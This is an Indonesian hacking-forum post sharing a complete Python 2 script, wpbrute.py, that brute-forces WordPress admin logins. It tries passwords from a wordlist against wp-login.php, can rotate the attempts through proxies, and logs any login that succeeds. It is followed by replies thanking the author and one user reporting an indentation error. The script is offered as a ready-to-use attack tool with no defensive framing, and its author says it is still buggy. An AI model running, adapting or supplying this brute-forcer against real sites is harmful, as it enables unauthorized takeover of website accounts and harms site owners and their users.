WP admin Bruteforce

Special thx for U3D crew...
berikut tool untuk nge-bruteforce wp admin

sebelumnya install phyton dulu yak ^ ^
http://www.python.org/ftp/python/2.6.2/python-2.6.2.msi

Code:

#!/usr/bin/python
# Wordpress Admin Login BruteForcer

# U3D Team
# www.indonesianhacker.org
# r3m1ck[at]hackermail[dot]com

# Greetz to
# | r3m1ck | otong | bl4ck_f4d3 | s1mb4h | eLisHa | God~of~Cats | vath666 | sicoy_0001 | hinata_kill | u2um4k1 | cole cole | unfeel000 |
# | tukulesto | gonzhack | arianom | contrex | kaMtiEz | mywisdom | gunslinger_ | petimati | devil_nongkrong | Ibl13z | Bobyhikaru | ijoo | VyC0d | vir0e5 | gr33nc0d3 | ELV1N4 | Aa | ay1ef | an99a |z0mb13 | CS-31 | cah surip | Bumble_Be | Bocah|Dudul | Kimmonosz | Crashblack | MISTERFRIBO | Syst3m_Rt0 | Bromocora |
# | U3D crew | Indonesian Coder | Tecon Indonesian | Darkc0de | Yogyacarderlink | IndonesianHacker | FastHackers | DevilZc0de | JatimCrew | EchoCrew | Cyberdos | Jasakom | Magelang Cyber Crew | Malang Cyber Crew |




import urllib, sys, re, os, socket, httplib, urllib2, time

#determine platform
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
   SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
   SysCls = 'cls'
else:
   SysCls = 'unknown'


os.system(SysCls)
if len(sys.argv) <= 1:
        print "\n|----------------------------------------------|"
        print "| r3m1ck[@]hackermail[dot]com            v1.0  |"
        print "|  2/2010      wpbrute.py                    |"
        print "|    - wp Admin BruteForcer                    |"
        print "| Usage: wpbrute.py [options]                  |"
        print "|                -h help  indonesianhacker.org |"
        print "|----------------------------------------------|\n"
        sys.exit(1)

#define varablies
site = ""
dbt = "wpbrutelog.txt"
proxy = "None"
arg_words = ""
arg_user = "admin"
arg_verbose = "None"
count = 0
gets = 0

#help option
for arg in sys.argv:
        if arg == "-h":
                print "\n  Usage: ./wpbrute.py [options]  r3m1ck[@]hackermail[dot]com indonesianhacker.org"
                print "\n\tRequired:"
                print "\tDefine: -u      www.site.com/wp-login.php"
                print "\tDefine: -w      words.txt"
                print "\n\tOptional:"
                print "\tDefine: -user    \"admin\"                        Default:admin"
                print "\tDefine: -p      \"127.0.0.1:80 or proxy.txt\""
                print "\tDefine: -o      \"ouput_file_name.txt\"          Default:wpbrutelog.txt"
                print "\tDefine: -v      Verbose Mode"
                print "\n  Ex: ./wpbrute.py -u \"www.site.com/wp-login.php\" -w words.txt -v -o site.txt"
                print "  Ex: ./wpbrute.py -u \"www.site.com/wp-login.php\" -w words.txt -user admin -p 127.0.0.1:8080\n"
                sys.exit(1)

#Check args
for arg in sys.argv:
   if arg == "-u":
      site = sys.argv[count+1]
   elif arg == "-o":
      dbt = sys.argv[count+1]
   elif arg == "-p":
      proxy = sys.argv[count+1]
   elif arg == "-w":
      arg_words = sys.argv[count+1]
   elif arg == "-user":
      arg_user = sys.argv[count+1]
   elif arg == "-v":
      arg_verbose = sys.argv   
   count+=1

#Title write
file = open(dbt, "a")
print "\n|----------------------------------------------|"
print "| r3m1ck[@]hackermail[dot]com            v1.0  |"
print "|  2/2010      wpbrute.py                    |"
print "|    - wp admin BruteForcer                    |"
print "| Usage: wpbrute.py [options]                  |"
print "|                -h help  indonesianhacker.org |"
print "|----------------------------------------------|"
file.write("\n\n|----------------------------------------------|")
file.write("\n| r3m1ck[@]hackermail[dot]com            v1.0  |")
file.write("\n|  2/2010      wpbrute.py                    |")
file.write("\n|    - wp admin BruteForcer                    |")
file.write("\n| Usage: wpbrute.py [options]                  |")
file.write("\n|                -h help  indonesianhacker.org |")
file.write("\n|----------------------------------------------|\n")

#Arg Error Checking
if site == "":
        print "[-] Must include -u flag."
        print "[-] For help -h\n"
        sys.exit(1)
if arg_words == "":
        print "[-] Must include -w flag."
        print "[-] For help -h\n"
        sys.exit(1)
if proxy != "None":
        if len(proxy.split(".")) == 2:
                proxy = open(proxy, "r").read()
        if proxy.endswith("\n"):
                proxy = proxy.rstrip("\n")
        proxy = proxy.split("\n")
if site[:7] != "http://":
   site = "http://"+site

#Build proxy list
socket.setdefaulttimeout(10)
proxy_list = []
if proxy != "None":
       
        file.write("[+] Building Proxy List...")
        print "[+] Building Proxy List..."
        for p in proxy:
                try:
                    proxy_handler = urllib2.ProxyHandler({'http': 'http://'+p+'/'})
                    opener = urllib2.build_opener(proxy_handler)
                    opener.open("http://www.google.com")
                    opener.addheaders = [('User-agent', 'Mozilla/5.0')]
                    proxy_list.append(opener)
                    file.write("\n\tProxy:"+p+"- Success")
                    print "\tProxy:",p,"- Success"
                except:
                    file.write("\n\tProxy:"+p+"- Failed")
                    print "\tProxy:",p,"- Failed"
                    pass
        if len(proxy_list) == 0:
                print "[-] All proxies have failed. App Exiting"
                file.write("\n[-] All proxies have failed. App Exiting\n")
                sys.exit(1)
        print "[+] Proxy List Complete"
        file.write("[+] Proxy List Complete")
else:
    print "[-] Proxy Not Given"
    file.write("[+] Proxy Not Given")
    proxy_list.append(urllib2.build_opener())
proxy_num = 0
proxy_len = len(proxy_list)


print "[+] BruteForcing:",site
print "[+] Username:",arg_user
file.write("\n[+] BruteForcing:"+str(site))
file.write("\n[+] Username:"+str(arg_user))
try:
     words = open(arg_words, "r").readlines()
     print "[+] Words Loaded:",len(words)
     words_len = len(words)
     file.write("\n[+] Words Loaded: "+str(words_len))
except(IOError):
     print "[-] Error: Check your wordlist path\n"
     sys.exit(1)
print "[+] [%s]" % time.strftime("%X")
file.write("\n[+] [%s]" % time.strftime("%X"))
for word in words:
   word = word.replace("\r","").replace("\n","")
   login_form_seq = [
       ('log', arg_user),
       ('pwd', word),
      ('rememberme', 'forever'),
       ('wp-submit', 'Login'),
       ('redirect_to', 'wp-admin/')]
   login_form_data = urllib.urlencode(login_form_seq)
        while 1:
                try:
                        gets+=1
                        proxy_num+=1
                        site_get = proxy_list[proxy_num % proxy_len].open(site, login_form_data).read()
                        break
                except (KeyboardInterrupt, SystemExit):
                        raise
                except:
                        pass
     
   if re.search("Username",site_get) == None:
      print "\n\t[!] Login Successfull:",arg_user+":"+word
      file.write("\n\n\t[!] Login Successfull: "+str(arg_user)+":"+str(word))
      break
   else:
      if arg_verbose != "None":
         print "[-] Login Failed:",word
         file.write("\n[-] Login Failed:"+str(word))


print "\n[-] [%s]" % time.strftime("%X")
print "[-] Total URL Requests",gets
file.write("\n\n[-] [%s]" % time.strftime("%X"))
file.write("\n[-] Total URL Requests "+str(gets))
print "[-] Done\n"
file.write("\n[-] Done\n")
print "Don't forget to check", dbt,"\n"
file.close()



nie yg ane tugg dari umz r3m1ck . . .

hehehe itu masih belum stabil kk .... masih ada bug nya ^ ^... masih dlm proses revisi

coba dulu ah... hihi..thx om remick

mantaffff

ommm itu jalanin file .py nya gimaana
ane muncul begini
C:\Python26>wp-scan.py -h
File "C:\Python26\wp-scan.py", line 172
while 1:
^
IndentationError: unexpected indent

apa yg salah ya???